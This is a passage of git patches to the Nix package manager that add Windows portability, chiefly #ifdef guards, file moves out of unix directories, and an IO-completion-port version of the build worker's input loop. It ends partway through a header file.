+        uidRange,
+#endif
+        inodesSeen);
 
+#ifndef _WIN32
     /* On platforms that don't have lchown(), the top-level path can't
        be a symlink, since we can't change its ownership. */
     auto st = lstat(path);
@@ -158,14 +179,23 @@ void canonicalisePathMetaData(
         assert(S_ISLNK(st.st_mode));
         throw Error("wrong ownership of top-level store path '%1%'", path);
     }
+#endif
 }
 
 
-void canonicalisePathMetaData(const Path & path,
-    std::optional<std::pair<uid_t, uid_t>> uidRange)
+void canonicalisePathMetaData(const Path & path
+#ifndef _WIN32
+    , std::optional<std::pair<uid_t, uid_t>> uidRange
+#endif
+    )
 {
     InodesSeen inodesSeen;
-    canonicalisePathMetaData(path, uidRange, inodesSeen);
+    canonicalisePathMetaData_(
+        path,
+#ifndef _WIN32
+        uidRange,
+#endif
+        inodesSeen);
 }
 
 }
diff --git a/src/libstore/unix/posix-fs-canonicalise.hh b/src/libstore/posix-fs-canonicalise.hh
similarity index 85%
rename from src/libstore/unix/posix-fs-canonicalise.hh
rename to src/libstore/posix-fs-canonicalise.hh
index 35644af125f..45a4f3f2069 100644
--- a/src/libstore/unix/posix-fs-canonicalise.hh
+++ b/src/libstore/posix-fs-canonicalise.hh
@@ -24,7 +24,7 @@ typedef std::set<Inode> InodesSeen;
  *   without execute permission; setuid bits etc. are cleared)
  *
  * - the owner and group are set to the Nix user and group, if we're
- *   running as root.
+ *   running as root. (Unix only.)
  *
  * If uidRange is not empty, this function will throw an error if it
  * encounters files owned by a user outside of the closed interval
@@ -32,11 +32,17 @@ typedef std::set<Inode> InodesSeen;
  */
 void canonicalisePathMetaData(
     const Path & path,
+#ifndef _WIN32
     std::optional<std::pair<uid_t, uid_t>> uidRange,
+#endif
     InodesSeen & inodesSeen);
+
 void canonicalisePathMetaData(
-    const Path & path,
-    std::optional<std::pair<uid_t, uid_t>> uidRange);
+    const Path & path
+#ifndef _WIN32
+    , std::optional<std::pair<uid_t, uid_t>> uidRange = std::nullopt
+#endif
+    );
 
 void canonicaliseTimestampAndPermissions(const Path & path);
 
diff --git a/src/libstore/unix/schema.sql b/src/libstore/schema.sql
similarity index 100%
rename from src/libstore/unix/schema.sql
rename to src/libstore/schema.sql
diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc
index cefb5befd98..419c55e9239 100644
--- a/src/libstore/store-api.cc
+++ b/src/libstore/store-api.cc
@@ -20,10 +20,6 @@
 #include "signals.hh"
 #include "users.hh"
 
-#ifndef _WIN32
-# include "remote-store.hh"
-#endif
-
 #include <nlohmann/json.hpp>
 #include <regex>
 
@@ -1265,10 +1261,9 @@ Derivation Store::readInvalidDerivation(const StorePath & drvPath)
 
 }
 
-#ifndef _WIN32
-# include "local-store.hh"
-# include "uds-remote-store.hh"
-#endif
+
+#include "local-store.hh"
+#include "uds-remote-store.hh"
 
 
 namespace nix {
@@ -1286,9 +1281,6 @@ std::pair<std::string, Store::Params> splitUriAndParams(const std::string & uri_
     return {uri, params};
 }
 
-#ifdef _WIN32 // Unused on Windows because the next `#ifndef`
-[[maybe_unused]]
-#endif
 static bool isNonUriPath(const std::string & spec)
 {
     return
@@ -1303,7 +1295,6 @@ std::shared_ptr<Store> openFromNonUri(const std::string & uri, const Store::Para
 {
     // TODO reenable on Windows once we have `LocalStore` and
     // `UDSRemoteStore`.
-    #ifndef _WIN32
     if (uri == "" || uri == "auto") {
         auto stateDir = getOr(params, "state", settings.nixStateDir);
         if (access(stateDir.c_str(), R_OK | W_OK) == 0)
@@ -1348,9 +1339,6 @@ std::shared_ptr<Store> openFromNonUri(const std::string & uri, const Store::Para
     } else {
         return nullptr;
     }
-    #else
-    return nullptr;
-    #endif
 }
 
 // The `parseURL` function supports both IPv6 URIs as defined in
diff --git a/src/libstore/unix/build/derivation-goal.cc b/src/libstore/unix/build/derivation-goal.cc
index 4d43429965d..8d6e3501516 100644
--- a/src/libstore/unix/build/derivation-goal.cc
+++ b/src/libstore/unix/build/derivation-goal.cc
@@ -30,32 +30,6 @@
 #include <sys/utsname.h>
 #include <sys/resource.h>
 
-#if HAVE_STATVFS
-#include <sys/statvfs.h>
-#endif
-
-/* Includes required for chroot support. */
-#if __linux__
-#include <sys/socket.h>
-#include <sys/ioctl.h>
-#include <net/if.h>
-#include <netinet/ip.h>
-#include <sys/mman.h>
-#include <sched.h>
-#include <sys/param.h>
-#include <sys/mount.h>
-#include <sys/syscall.h>
-#if HAVE_SECCOMP
-#include <seccomp.h>
-#endif
-#define pivot_root(new_root, put_old) (syscall(SYS_pivot_root, new_root, put_old))
-#endif
-
-#if __APPLE__
-#include <spawn.h>
-#include <sys/sysctl.h>
-#endif
-
 #include <pwd.h>
 #include <grp.h>
 
diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc
index 47251dbd7a4..39efa19fe40 100644
--- a/src/libutil/file-system.cc
+++ b/src/libutil/file-system.cc
@@ -94,7 +94,7 @@ Path canonPath(PathView path, bool resolveSymlinks)
         path,
         [&followCount, &temp, maxFollow, resolveSymlinks]
         (std::string & result, std::string_view & remaining) {
-            if (resolveSymlinks && std::filesystem::is_symlink(result)) {
+            if (resolveSymlinks && fs::is_symlink(result)) {
                 if (++followCount >= maxFollow)
                     throw Error("infinite symlink recursion in path '%0%'", remaining);
                 remaining = (temp = concatStrings(readLink(result), remaining));
diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh
index 5a068810497..4536accc379 100644
--- a/src/libutil/file-system.hh
+++ b/src/libutil/file-system.hh
@@ -117,6 +117,11 @@ bool pathAccessible(const Path & path);
  */
 Path readLink(const Path & path);
 
+/**
+ * Open a `Descriptor` with read-only access to the given directory.
+ */
+Descriptor openDirectory(const std::filesystem::path & path);
+
 /**
  * Read the contents of a directory.  The entries `.` and `..` are
  * removed.
diff --git a/src/libutil/unix-domain-socket.hh b/src/libutil/unix-domain-socket.hh
index a8bbc4b89d3..ba2baeb1334 100644
--- a/src/libutil/unix-domain-socket.hh
+++ b/src/libutil/unix-domain-socket.hh
@@ -39,6 +39,7 @@ using Socket =
  * Windows gives this a different name
  */
 #  define SHUT_WR SD_SEND
+#  define SHUT_RDWR SD_BOTH
 #endif
 
 /**
diff --git a/src/libutil/unix/file-system.cc b/src/libutil/unix/file-system.cc
new file mode 100644
index 00000000000..bbbbfa5597c
--- /dev/null
+++ b/src/libutil/unix/file-system.cc
@@ -0,0 +1,10 @@
+#include "file-system.hh"
+
+namespace nix {
+
+Descriptor openDirectory(const std::filesystem::path & path)
+{
+    return open(path.c_str(), O_RDONLY | O_DIRECTORY);
+}
+
+}
diff --git a/src/libutil/windows/file-system.cc b/src/libutil/windows/file-system.cc
new file mode 100644
index 00000000000..8002dd75eec
--- /dev/null
+++ b/src/libutil/windows/file-system.cc
@@ -0,0 +1,12 @@
+#include "file-system.hh"
+
+namespace nix {
+
+Descriptor openDirectory(const std::filesystem::path & path)
+{
+    return CreateFileW(
+        path.c_str(), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING,
+        FILE_FLAG_BACKUP_SEMANTICS, NULL);
+}
+
+}

From 39b2a399ad94f061eea0e0fc639cf1466587959e Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Fri, 10 May 2024 13:03:05 -0400
Subject: [PATCH 111/528] Start building the scheduler for Windows

Building derivations is a lot harder, but the downloading goals is
portable enough.

The "common channel" code is due to Volth. I wonder if there is a way we
can factor it out into separate functions / files to avoid some
within-function CPP.

Co-authored-by: volth <volth@volth.com>
---
 maintainers/flake-module.nix                  |  22 ++--
 .../build/drv-output-substitution-goal.cc     |  14 ++-
 .../build/drv-output-substitution-goal.hh     |  15 ++-
 src/libstore/{unix => }/build/entry-points.cc |  14 ++-
 src/libstore/{unix => }/build/goal.cc         |   0
 src/libstore/{unix => }/build/goal.hh         |   4 +-
 .../{unix => }/build/substitution-goal.cc     |  16 ++-
 .../{unix => }/build/substitution-goal.hh     |  13 ++-
 src/libstore/{unix => }/build/worker.cc       | 110 ++++++++++++++++--
 src/libstore/{unix => }/build/worker.hh       |  33 +++++-
 src/libstore/local.mk                         |   4 +-
 src/libstore/unix/build/derivation-goal.cc    |   4 +-
 src/libstore/unix/build/derivation-goal.hh    |   6 +-
 src/libstore/unix/{lock.cc => user-lock.cc}   |   2 +-
 src/libstore/unix/{lock.hh => user-lock.hh}   |   0
 src/libstore/windows/build.cc                 |  37 ------
 src/libstore/windows/pathlocks.cc             |   2 +
 src/libutil/error.hh                          |  10 +-
 src/libutil/serialise.cc                      |   2 +-
 src/libutil/windows/file-descriptor.cc        |   2 +
 src/libutil/windows/users.cc                  |   2 +
 src/libutil/windows/windows-async-pipe.cc     |  43 +++++++
 src/libutil/windows/windows-async-pipe.hh     |  20 ++++
 src/libutil/windows/windows-error.cc          |   2 +-
 src/libutil/windows/windows-error.hh          |   2 +-
 25 files changed, 285 insertions(+), 94 deletions(-)
 rename src/libstore/{unix => }/build/drv-output-substitution-goal.cc (93%)
 rename src/libstore/{unix => }/build/drv-output-substitution-goal.hh (90%)
 rename src/libstore/{unix => }/build/entry-points.cc (90%)
 rename src/libstore/{unix => }/build/goal.cc (100%)
 rename src/libstore/{unix => }/build/goal.hh (97%)
 rename src/libstore/{unix => }/build/substitution-goal.cc (96%)
 rename src/libstore/{unix => }/build/substitution-goal.hh (91%)
 rename src/libstore/{unix => }/build/worker.cc (81%)
 rename src/libstore/{unix => }/build/worker.hh (92%)
 rename src/libstore/unix/{lock.cc => user-lock.cc} (99%)
 rename src/libstore/unix/{lock.hh => user-lock.hh} (100%)
 delete mode 100644 src/libstore/windows/build.cc
 create mode 100644 src/libutil/windows/windows-async-pipe.cc
 create mode 100644 src/libutil/windows/windows-async-pipe.hh

diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix
index 351a01fcbff..e541aeda84e 100644
--- a/maintainers/flake-module.nix
+++ b/maintainers/flake-module.nix
@@ -227,18 +227,18 @@
         ''^src/libstore/store-dir-config\.hh$''
         ''^src/libstore/unix/build/derivation-goal\.cc$''
         ''^src/libstore/unix/build/derivation-goal\.hh$''
-        ''^src/libstore/unix/build/drv-output-substitution-goal\.cc$''
-        ''^src/libstore/unix/build/drv-output-substitution-goal\.hh$''
-        ''^src/libstore/unix/build/entry-points\.cc$''
-        ''^src/libstore/unix/build/goal\.cc$''
-        ''^src/libstore/unix/build/goal\.hh$''
+        ''^src/libstore/build/drv-output-substitution-goal\.cc$''
+        ''^src/libstore/build/drv-output-substitution-goal\.hh$''
+        ''^src/libstore/build/entry-points\.cc$''
+        ''^src/libstore/build/goal\.cc$''
+        ''^src/libstore/build/goal\.hh$''
         ''^src/libstore/unix/build/hook-instance\.cc$''
         ''^src/libstore/unix/build/local-derivation-goal\.cc$''
         ''^src/libstore/unix/build/local-derivation-goal\.hh$''
-        ''^src/libstore/unix/build/substitution-goal\.cc$''
-        ''^src/libstore/unix/build/substitution-goal\.hh$''
-        ''^src/libstore/unix/build/worker\.cc$''
-        ''^src/libstore/unix/build/worker\.hh$''
+        ''^src/libstore/build/substitution-goal\.cc$''
+        ''^src/libstore/build/substitution-goal\.hh$''
+        ''^src/libstore/build/worker\.cc$''
+        ''^src/libstore/build/worker\.hh$''
         ''^src/libstore/unix/builtins/fetchurl\.cc$''
         ''^src/libstore/unix/builtins/unpack-channel\.cc$''
         ''^src/libstore/gc\.cc$''
@@ -246,8 +246,8 @@
         ''^src/libstore/unix/local-overlay-store\.hh$''
         ''^src/libstore/local-store\.cc$''
         ''^src/libstore/local-store\.hh$''
-        ''^src/libstore/unix/lock\.cc$''
-        ''^src/libstore/unix/lock\.hh$''
+        ''^src/libstore/unix/user-lock\.cc$''
+        ''^src/libstore/unix/user-lock\.hh$''
         ''^src/libstore/optimise-store\.cc$''
         ''^src/libstore/unix/pathlocks\.cc$''
         ''^src/libstore/posix-fs-canonicalise\.cc$''
diff --git a/src/libstore/unix/build/drv-output-substitution-goal.cc b/src/libstore/build/drv-output-substitution-goal.cc
similarity index 93%
rename from src/libstore/unix/build/drv-output-substitution-goal.cc
rename to src/libstore/build/drv-output-substitution-goal.cc
index b30957c8417..13a07e4ea38 100644
--- a/src/libstore/unix/build/drv-output-substitution-goal.cc
+++ b/src/libstore/build/drv-output-substitution-goal.cc
@@ -66,7 +66,11 @@ void DrvOutputSubstitutionGoal::tryNext()
        some other error occurs), so it must not touch `this`. So put
        the shared state in a separate refcounted object. */
     downloadState = std::make_shared<DownloadState>();
+#ifndef _WIN32
     downloadState->outPipe.create();
+#else
+    downloadState->outPipe.createAsyncPipe(worker.ioport.get());
+#endif
 
     sub->queryRealisation(
         id,
@@ -79,7 +83,13 @@ void DrvOutputSubstitutionGoal::tryNext()
             }
         } });
 
-    worker.childStarted(shared_from_this(), {downloadState->outPipe.readSide.get()}, true, false);
+    worker.childStarted(shared_from_this(), {
+#ifndef _WIN32
+        downloadState->outPipe.readSide.get()
+#else
+        &downloadState->outPipe
+#endif
+    }, true, false);
 
     state = &DrvOutputSubstitutionGoal::realisationFetched;
 }
@@ -158,7 +168,7 @@ void DrvOutputSubstitutionGoal::work()
     (this->*state)();
 }
 
-void DrvOutputSubstitutionGoal::handleEOF(int fd)
+void DrvOutputSubstitutionGoal::handleEOF(Descriptor fd)
 {
     if (fd == downloadState->outPipe.readSide.get()) worker.wakeUp(shared_from_this());
 }
diff --git a/src/libstore/unix/build/drv-output-substitution-goal.hh b/src/libstore/build/drv-output-substitution-goal.hh
similarity index 90%
rename from src/libstore/unix/build/drv-output-substitution-goal.hh
rename to src/libstore/build/drv-output-substitution-goal.hh
index da2426e5e86..4f06a9e9e47 100644
--- a/src/libstore/unix/build/drv-output-substitution-goal.hh
+++ b/src/libstore/build/drv-output-substitution-goal.hh
@@ -1,11 +1,16 @@
 #pragma once
 ///@file
 
+#include <thread>
+#include <future>
+
 #include "store-api.hh"
 #include "goal.hh"
 #include "realisation.hh"
-#include <thread>
-#include <future>
+
+#ifdef _WIN32
+#  include "windows-async-pipe.hh"
+#endif
 
 namespace nix {
 
@@ -43,7 +48,11 @@ class DrvOutputSubstitutionGoal : public Goal {
 
     struct DownloadState
     {
+#ifndef _WIN32
         Pipe outPipe;
+#else
+        windows::AsyncPipe outPipe;
+#endif
         std::promise<std::shared_ptr<const Realisation>> promise;
     };
 
@@ -71,7 +80,7 @@ public:
     std::string key() override;
 
     void work() override;
-    void handleEOF(int fd) override;
+    void handleEOF(Descriptor fd) override;
 
     JobCategory jobCategory() const override {
         return JobCategory::Substitution;
diff --git a/src/libstore/unix/build/entry-points.cc b/src/libstore/build/entry-points.cc
similarity index 90%
rename from src/libstore/unix/build/entry-points.cc
rename to src/libstore/build/entry-points.cc
index d4bead28edf..784f618c1a0 100644
--- a/src/libstore/unix/build/entry-points.cc
+++ b/src/libstore/build/entry-points.cc
@@ -1,6 +1,8 @@
 #include "worker.hh"
 #include "substitution-goal.hh"
-#include "derivation-goal.hh"
+#ifndef _WIN32 // TODO Enable building on Windows
+#  include "derivation-goal.hh"
+#endif
 #include "local-store.hh"
 
 namespace nix {
@@ -25,9 +27,12 @@ void Store::buildPaths(const std::vector<DerivedPath> & reqs, BuildMode buildMod
                 ex = std::move(i->ex);
         }
         if (i->exitCode != Goal::ecSuccess) {
+#ifndef _WIN32 // TODO Enable building on Windows
             if (auto i2 = dynamic_cast<DerivationGoal *>(i.get()))
                 failed.insert(printStorePath(i2->drvPath));
-            else if (auto i2 = dynamic_cast<PathSubstitutionGoal *>(i.get()))
+            else
+#endif
+            if (auto i2 = dynamic_cast<PathSubstitutionGoal *>(i.get()))
                 failed.insert(printStorePath(i2->storePath));
         }
     }
@@ -74,7 +79,12 @@ BuildResult Store::buildDerivation(const StorePath & drvPath, const BasicDerivat
     BuildMode buildMode)
 {
     Worker worker(*this, *this);
+#ifndef _WIN32 // TODO Enable building on Windows
     auto goal = worker.makeBasicDerivationGoal(drvPath, drv, OutputsSpec::All {}, buildMode);
+#else
+    std::shared_ptr<Goal> goal;
+    throw UnimplementedError("Building derivations not yet implemented on windows.");
+#endif
 
     try {
         worker.run(Goals{goal});
diff --git a/src/libstore/unix/build/goal.cc b/src/libstore/build/goal.cc
similarity index 100%
rename from src/libstore/unix/build/goal.cc
rename to src/libstore/build/goal.cc
diff --git a/src/libstore/unix/build/goal.hh b/src/libstore/build/goal.hh
similarity index 97%
rename from src/libstore/unix/build/goal.hh
rename to src/libstore/build/goal.hh
index 9af083230ee..0d9b828e1d6 100644
--- a/src/libstore/unix/build/goal.hh
+++ b/src/libstore/build/goal.hh
@@ -138,12 +138,12 @@ public:
 
     virtual void waiteeDone(GoalPtr waitee, ExitCode result);
 
-    virtual void handleChildOutput(int fd, std::string_view data)
+    virtual void handleChildOutput(Descriptor fd, std::string_view data)
     {
         abort();
     }
 
-    virtual void handleEOF(int fd)
+    virtual void handleEOF(Descriptor fd)
     {
         abort();
     }
diff --git a/src/libstore/unix/build/substitution-goal.cc b/src/libstore/build/substitution-goal.cc
similarity index 96%
rename from src/libstore/unix/build/substitution-goal.cc
rename to src/libstore/build/substitution-goal.cc
index c7e8e282508..0be3d1e8d98 100644
--- a/src/libstore/unix/build/substitution-goal.cc
+++ b/src/libstore/build/substitution-goal.cc
@@ -212,7 +212,11 @@ void PathSubstitutionGoal::tryToRun()
     maintainRunningSubstitutions = std::make_unique<MaintainCount<uint64_t>>(worker.runningSubstitutions);
     worker.updateProgress();
 
+#ifndef _WIN32
     outPipe.create();
+#else
+    outPipe.createAsyncPipe(worker.ioport.get());
+#endif
 
     promise = std::promise<void>();
 
@@ -235,7 +239,13 @@ void PathSubstitutionGoal::tryToRun()
         }
     });
 
-    worker.childStarted(shared_from_this(), {outPipe.readSide.get()}, true, false);
+    worker.childStarted(shared_from_this(), {
+#ifndef _WIN32
+        outPipe.readSide.get()
+#else
+        &outPipe
+#endif
+    }, true, false);
 
     state = &PathSubstitutionGoal::finished;
 }
@@ -294,12 +304,12 @@ void PathSubstitutionGoal::finished()
 }
 
 
-void PathSubstitutionGoal::handleChildOutput(int fd, std::string_view data)
+void PathSubstitutionGoal::handleChildOutput(Descriptor fd, std::string_view data)
 {
 }
 
 
-void PathSubstitutionGoal::handleEOF(int fd)
+void PathSubstitutionGoal::handleEOF(Descriptor fd)
 {
     if (fd == outPipe.readSide.get()) worker.wakeUp(shared_from_this());
 }
diff --git a/src/libstore/unix/build/substitution-goal.hh b/src/libstore/build/substitution-goal.hh
similarity index 91%
rename from src/libstore/unix/build/substitution-goal.hh
rename to src/libstore/build/substitution-goal.hh
index 1d389d328ff..58d3094248c 100644
--- a/src/libstore/unix/build/substitution-goal.hh
+++ b/src/libstore/build/substitution-goal.hh
@@ -1,10 +1,13 @@
 #pragma once
 ///@file
 
-#include "lock.hh"
 #include "store-api.hh"
 #include "goal.hh"
 
+#ifdef _WIN32
+#  include "windows-async-pipe.hh"
+#endif
+
 namespace nix {
 
 class Worker;
@@ -45,7 +48,11 @@ struct PathSubstitutionGoal : public Goal
     /**
      * Pipe for the substituter's standard output.
      */
+#ifndef _WIN32
     Pipe outPipe;
+#else
+    windows::AsyncPipe outPipe;
+#endif
 
     /**
      * The substituter thread.
@@ -111,8 +118,8 @@ public:
     /**
      * Callback used by the worker to write to the log.
      */
-    void handleChildOutput(int fd, std::string_view data) override;
-    void handleEOF(int fd) override;
+    void handleChildOutput(Descriptor fd, std::string_view data) override;
+    void handleEOF(Descriptor fd) override;
 
     /* Called by destructor, can't be overridden */
     void cleanup() override final;
diff --git a/src/libstore/unix/build/worker.cc b/src/libstore/build/worker.cc
similarity index 81%
rename from src/libstore/unix/build/worker.cc
rename to src/libstore/build/worker.cc
index 03fc280a47d..ac6f693a212 100644
--- a/src/libstore/unix/build/worker.cc
+++ b/src/libstore/build/worker.cc
@@ -1,12 +1,20 @@
+#include "local-store.hh"
 #include "machines.hh"
 #include "worker.hh"
 #include "substitution-goal.hh"
 #include "drv-output-substitution-goal.hh"
-#include "local-derivation-goal.hh"
-#include "hook-instance.hh"
+#ifndef _WIN32 // TODO Enable building on Windows
+#  include "local-derivation-goal.hh"
+#  include "hook-instance.hh"
+#endif
 #include "signals.hh"
 
-#include <poll.h>
+#ifndef _WIN32
+#  include <poll.h>
+#else
+#  include <ioapiset.h>
+#  include "windows-error.hh"
+#endif
 
 namespace nix {
 
@@ -41,6 +49,7 @@ Worker::~Worker()
     assert(expectedNarSize == 0);
 }
 
+#ifndef _WIN32 // TODO Enable building on Windows
 
 std::shared_ptr<DerivationGoal> Worker::makeDerivationGoalCommon(
     const StorePath & drvPath,
@@ -70,7 +79,6 @@ std::shared_ptr<DerivationGoal> Worker::makeDerivationGoal(const StorePath & drv
     });
 }
 
-
 std::shared_ptr<DerivationGoal> Worker::makeBasicDerivationGoal(const StorePath & drvPath,
     const BasicDerivation & drv, const OutputsSpec & wantedOutputs, BuildMode buildMode)
 {
@@ -81,6 +89,8 @@ std::shared_ptr<DerivationGoal> Worker::makeBasicDerivationGoal(const StorePath
     });
 }
 
+#endif
+
 
 std::shared_ptr<PathSubstitutionGoal> Worker::makePathSubstitutionGoal(const StorePath & path, RepairFlag repair, std::optional<ContentAddress> ca)
 {
@@ -112,10 +122,14 @@ GoalPtr Worker::makeGoal(const DerivedPath & req, BuildMode buildMode)
 {
     return std::visit(overloaded {
         [&](const DerivedPath::Built & bfd) -> GoalPtr {
+#ifndef _WIN32 // TODO Enable building on Windows
             if (auto bop = std::get_if<DerivedPath::Opaque>(&*bfd.drvPath))
                 return makeDerivationGoal(bop->path, bfd.outputs, buildMode);
             else
                 throw UnimplementedError("Building dynamic derivations in one shot is not yet implemented.");
+#else
+            throw UnimplementedError("Building derivations not yet implemented on Windows");
+#endif
         },
         [&](const DerivedPath::Opaque & bo) -> GoalPtr {
             return makePathSubstitutionGoal(bo.path, buildMode == bmRepair ? Repair : NoRepair);
@@ -141,9 +155,12 @@ static void removeGoal(std::shared_ptr<G> goal, std::map<K, std::weak_ptr<G>> &
 
 void Worker::removeGoal(GoalPtr goal)
 {
+#ifndef _WIN32 // TODO Enable building on Windows
     if (auto drvGoal = std::dynamic_pointer_cast<DerivationGoal>(goal))
         nix::removeGoal(drvGoal, derivationGoals);
-    else if (auto subGoal = std::dynamic_pointer_cast<PathSubstitutionGoal>(goal))
+    else
+#endif
+    if (auto subGoal = std::dynamic_pointer_cast<PathSubstitutionGoal>(goal))
         nix::removeGoal(subGoal, substitutionGoals);
     else if (auto subGoal = std::dynamic_pointer_cast<DrvOutputSubstitutionGoal>(goal))
         nix::removeGoal(subGoal, drvOutputSubstitutionGoals);
@@ -187,13 +204,13 @@ unsigned Worker::getNrSubstitutions()
 }
 
 
-void Worker::childStarted(GoalPtr goal, const std::set<int> & fds,
+void Worker::childStarted(GoalPtr goal, const std::set<Child::CommChannel> & channels,
     bool inBuildSlot, bool respectTimeouts)
 {
     Child child;
     child.goal = goal;
     child.goal2 = goal.get();
-    child.fds = fds;
+    child.channels = channels;
     child.timeStarted = child.lastOutput = steady_time_point::clock::now();
     child.inBuildSlot = inBuildSlot;
     child.respectTimeouts = respectTimeouts;
@@ -281,12 +298,15 @@ void Worker::run(const Goals & _topGoals)
 
     for (auto & i : _topGoals) {
         topGoals.insert(i);
+#ifndef _WIN32 // TODO Enable building on Windows
         if (auto goal = dynamic_cast<DerivationGoal *>(i.get())) {
             topPaths.push_back(DerivedPath::Built {
                 .drvPath = makeConstantStorePathRef(goal->drvPath),
                 .outputs = goal->wantedOutputs,
             });
-        } else if (auto goal = dynamic_cast<PathSubstitutionGoal *>(i.get())) {
+        } else
+#endif
+        if (auto goal = dynamic_cast<PathSubstitutionGoal *>(i.get())) {
             topPaths.push_back(DerivedPath::Opaque{goal->storePath});
         }
     }
@@ -408,13 +428,14 @@ void Worker::waitForInput()
     if (useTimeout)
         vomit("sleeping %d seconds", timeout);
 
+#ifndef _WIN32
     /* Use select() to wait for the input side of any logger pipe to
        become `available'.  Note that `available' (i.e., non-blocking)
        includes EOF. */
     std::vector<struct pollfd> pollStatus;
     std::map<int, size_t> fdToPollStatus;
     for (auto & i : children) {
-        for (auto & j : i.fds) {
+        for (auto & j : i.channels) {
             pollStatus.push_back((struct pollfd) { .fd = j, .events = POLLIN });
             fdToPollStatus[j] = pollStatus.size() - 1;
         }
@@ -425,6 +446,28 @@ void Worker::waitForInput()
         if (errno == EINTR) return;
         throw SysError("waiting for input");
     }
+#else
+    OVERLAPPED_ENTRY oentries[0x20] = {0};
+    ULONG removed;
+    bool gotEOF = false;
+
+    // we are on at least Windows Vista / Server 2008 and can get many (countof(oentries)) statuses in one API call
+    if (!GetQueuedCompletionStatusEx(
+        ioport.get(),
+        oentries,
+        sizeof(oentries) / sizeof(*oentries),
+        &removed,
+        useTimeout ? timeout * 1000 : INFINITE,
+        false))
+    {
+        windows::WinError winError("GetQueuedCompletionStatusEx");
+        if (winError.lastError != WAIT_TIMEOUT)
+            throw winError;
+        assert(removed == 0);
+    } else {
+        assert(0 < removed && removed <= sizeof(oentries)/sizeof(*oentries));
+    }
+#endif
 
     auto after = steady_time_point::clock::now();
 
@@ -439,20 +482,21 @@ void Worker::waitForInput()
         GoalPtr goal = j->goal.lock();
         assert(goal);
 
-        std::set<int> fds2(j->fds);
+#ifndef _WIN32
+        std::set<Descriptor> fds2(j->channels);
         std::vector<unsigned char> buffer(4096);
         for (auto & k : fds2) {
             const auto fdPollStatusId = get(fdToPollStatus, k);
             assert(fdPollStatusId);
             assert(*fdPollStatusId < pollStatus.size());
             if (pollStatus.at(*fdPollStatusId).revents) {
-                ssize_t rd = ::read(k, buffer.data(), buffer.size());
+                ssize_t rd = ::read(fromDescriptorReadOnly(k), buffer.data(), buffer.size());
                 // FIXME: is there a cleaner way to handle pt close
                 // than EIO? Is this even standard?
                 if (rd == 0 || (rd == -1 && errno == EIO)) {
                     debug("%1%: got EOF", goal->getName());
                     goal->handleEOF(k);
-                    j->fds.erase(k);
+                    j->channels.erase(k);
                 } else if (rd == -1) {
                     if (errno != EINTR)
                         throw SysError("%s: read failed", goal->getName());
@@ -465,6 +509,48 @@ void Worker::waitForInput()
                 }
             }
         }
+#else
+        decltype(j->channels)::iterator p = j->channels.begin();
+        while (p != j->channels.end()) {
+            decltype(p) nextp = p;
+            ++nextp;
+            for (ULONG i = 0; i < removed; i++) {
+                if (oentries[i].lpCompletionKey == ((ULONG_PTR)((*p)->readSide.get()) ^ 0x5555)) {
+                    printMsg(lvlVomit, "%s: read %s bytes", goal->getName(), oentries[i].dwNumberOfBytesTransferred);
+                    if (oentries[i].dwNumberOfBytesTransferred > 0) {
+                        std::string data {
+                            (char *) (*p)->buffer.data(),
+                            oentries[i].dwNumberOfBytesTransferred,
+                        };
+                        //std::cerr << "read  [" << data << "]" << std::endl;
+                        j->lastOutput = after;
+                        goal->handleChildOutput((*p)->readSide.get(), data);
+                    }
+
+                    if (gotEOF) {
+                        debug("%s: got EOF", goal->getName());
+                        goal->handleEOF((*p)->readSide.get());
+                        nextp = j->channels.erase(p); // no need to maintain `j->channels` ?
+                    } else {
+                        BOOL rc = ReadFile((*p)->readSide.get(), (*p)->buffer.data(), (*p)->buffer.size(), &(*p)->got, &(*p)->overlapped);
+                        if (rc) {
+                            // here is possible (but not obligatory) to call `goal->handleChildOutput` and repeat ReadFile immediately
+                        } else {
+                            windows::WinError winError("ReadFile(%s, ..)", (*p)->readSide.get());
+                            if (winError.lastError == ERROR_BROKEN_PIPE) {
+                                debug("%s: got EOF", goal->getName());
+                                goal->handleEOF((*p)->readSide.get());
+                                nextp = j->channels.erase(p); // no need to maintain `j->channels` ?
+                            } else if (winError.lastError != ERROR_IO_PENDING)
+                                throw winError;
+                        }
+                    }
+                    break;
+                }
+            }
+            p = nextp;
+        }
+#endif
 
         if (goal->exitCode == Goal::ecBusy &&
             0 != settings.maxSilentTime &&
diff --git a/src/libstore/unix/build/worker.hh b/src/libstore/build/worker.hh
similarity index 92%
rename from src/libstore/unix/build/worker.hh
rename to src/libstore/build/worker.hh
index ced013ddd84..b57734b45e6 100644
--- a/src/libstore/unix/build/worker.hh
+++ b/src/libstore/build/worker.hh
@@ -2,18 +2,23 @@
 ///@file
 
 #include "types.hh"
-#include "lock.hh"
 #include "store-api.hh"
 #include "goal.hh"
 #include "realisation.hh"
 
+#ifdef _WIN32
+#  include "windows-async-pipe.hh"
+#endif
+
 #include <future>
 #include <thread>
 
 namespace nix {
 
 /* Forward definition. */
+#ifndef _WIN32 // TODO Enable building on Windows
 struct DerivationGoal;
+#endif
 struct PathSubstitutionGoal;
 class DrvOutputSubstitutionGoal;
 
@@ -36,14 +41,22 @@ typedef std::chrono::time_point<std::chrono::steady_clock> steady_time_point;
 
 /**
  * A mapping used to remember for each child process to what goal it
- * belongs, and file descriptors for receiving log data and output
+ * belongs, and comm channels for receiving log data and output
  * path creation commands.
  */
 struct Child
 {
+    using CommChannel =
+#ifndef _WIN32
+        Descriptor
+#else
+        windows::AsyncPipe *
+#endif
+        ;
+
     WeakGoalPtr goal;
     Goal * goal2; // ugly hackery
-    std::set<int> fds;
+    std::set<CommChannel> channels;
     bool respectTimeouts;
     bool inBuildSlot;
     /**
@@ -53,8 +66,10 @@ struct Child
     steady_time_point timeStarted;
 };
 
+#ifndef _WIN32 // TODO Enable building on Windows
 /* Forward definition. */
 struct HookInstance;
+#endif
 
 /**
  * The worker class.
@@ -101,7 +116,9 @@ private:
      * Maps used to prevent multiple instantiations of a goal for the
      * same derivation / path.
      */
+#ifndef _WIN32 // TODO Enable building on Windows
     std::map<StorePath, std::weak_ptr<DerivationGoal>> derivationGoals;
+#endif
     std::map<StorePath, std::weak_ptr<PathSubstitutionGoal>> substitutionGoals;
